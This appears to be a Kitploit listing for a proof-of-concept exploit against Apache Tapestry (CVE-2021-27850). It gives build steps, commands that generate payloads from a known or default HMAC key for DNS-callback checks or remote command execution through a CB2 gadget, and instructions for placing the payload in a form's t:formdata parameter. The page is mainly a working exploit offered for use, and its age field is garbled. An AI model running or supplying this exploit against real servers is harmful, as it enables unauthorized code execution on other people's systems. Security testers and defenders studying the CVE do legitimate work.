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CVE_2021_27850_POC — Apache Tapestry CVE-2021-27850 PoC | Kitploit
Tools/GitHubGitHub/ovi3/cve_2021_27850_poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubovi3/cve_2021_27850_poc

CVE_2021_27850_POC

Apache Tapestry CVE-2021-27850 PoC

View Repository
225 years agoNot yet reviewed

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Usage

root@kitploit:~
git clone https://github.com/Ovi3/CVE_2021_27850_POC.git
cd CVE_2021_27850_POC/
gradlew runnbaleJar

java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar
[Usage]:
        java TapestryExploit [Tapestry Key] DNS [URL]
        java TapestryExploit [Tapestry Key] CB2 [Command]

# Assuming the HMAC key is change this immediately 
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" DNS "http://xxx.dnslog.cn"
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" CB2 "calc"

Vulnerability Reproduction

Access the Tapestry application, trigger a POST request (e.g., a login request), capture the packet, and modify the t:formdata parameter value to the payload generated above.

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